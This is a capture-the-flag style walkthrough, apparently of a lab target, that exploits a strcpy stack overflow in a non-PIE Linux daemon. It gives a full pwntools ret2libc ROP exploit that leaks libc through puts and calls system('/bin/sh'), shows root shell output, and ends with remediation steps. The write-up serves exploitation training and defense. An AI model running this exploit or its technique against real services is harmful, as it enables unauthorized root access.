Pwn / Buffer Overflow in Custom Linux Daemon: ASLR & DEP Bypass
“Detailed exploitation walkthrough weaponizing a stack-based buffer overflow with Return-to-PLT and ROP gadgets to achieve interactive root shell.”
01 // Mission Briefing & Scope
Target system: Hardened Ubuntu 24.04 LTS binary daemon listening on TCP port 9999. The binary is compiled with Partial RELRO, No Stack Canary, NX (DEP) enabled, and system-wide ASLR enforced. The objective is to achieve arbitrary code execution and spawn an interactive root reverse shell.
02 // Binary Reconnaissance & Mitigation Audit
Initial mitigation check with checksec reveals non-executable stack protections with standard ASLR entropy:
$ checksec --file=./vuln_daemon
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Because PIE is disabled (base address fixed at 0x400000), global symbols, Procedure Linkage Table (PLT) entries, and Global Offset Table (GOT) pointers are located at static, deterministic virtual memory offsets.
03 // Vulnerability Analysis: Unbounded Strcpy
Decompiling the binary in Ghidra highlights an unsafe input buffer handling routine inside handle_connection():
void handle_connection(int client_fd) {
char stack_buf[256];
char raw_input[1024];
recv(client_fd, raw_input, sizeof(raw_input) - 1, 0);
// Unchecked copy from 1024-byte buffer into 256-byte stack allocation
strcpy(stack_buf, raw_input);
}
Using gdb-gef with cyclic pattern generator, the exact offset from input buffer to saved instruction pointer ($rip) is determined:
gef➤ pattern create 300
[+] Generating a pattern of 300 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaaf...
gef➤ pattern search $rip
[+] Found at offset 264 (little-endian search)
04 // Weaponization: Two-Stage ROP Chain
Since NX prevents direct shellcode execution on the stack, we construct a two-stage Return-Oriented Programming (ROP) chain:
Stage 1: Leaking libc Base Address
We leverage puts@plt to print the runtime address of puts@got, calculate the libc base dynamically, and loop execution back to main():
pop rdi; retgadget:0x4012bbputs@gotpointer:0x404018puts@pltfunction:0x401030main()reentry:0x4011f6
Stage 2: Spawning /bin/sh via system()
With the leaked libc base calculated, we resolve the dynamic addresses of system() and the /bin/sh ASCII string within libc, then craft the final payload with an extra ret gadget for 16-byte stack alignment:
# Exploit script snippet (Python 3 / Pwntools)
from pwn import *
p = remote('10.10.11.42', 9999)
elf = ELF('./vuln_daemon')
libc = ELF('./libc.so.6')
rop1 = ROP(elf)
rop1.puts(elf.got['puts'])
rop1.raw(elf.symbols['main'])
payload1 = b'A' * 264 + rop1.chain()
p.sendline(payload1)
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"Leaked libc base: {hex(libc.address)}")
rop2 = ROP(libc)
rop2.raw(rop2.find_gadget(['ret'])) # 16-byte stack alignment
rop2.system(next(libc.search(b'/bin/sh\x00')))
payload2 = b'A' * 264 + rop2.chain()
p.sendline(payload2)
p.interactive()
05 // Post-Exploitation & Verification
Executing the exploit against the target machine cleanly delivers an interactive root shell session without crashing the daemon parent process:
[+] Leaked libc base: 0x7f8a3c200000
[*] Switching to interactive mode
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
7a9b8c1d2e3f4a5b6c7d8e9f0a1b2c3d
06 // Remediation & Defense-in-Depth
To eliminate this vulnerability vector:
- Replace unbounded
strcpy()with boundedstrncpy()orsnprintf()with explicit size limits. - Recompile with Full RELRO (
-Wl,-z,relro,-z,now) and Stack Canaries (-fstack-protector-strong). - Enable Position Independent Executable (
-fPIE -pie) to randomize code segment base offsets.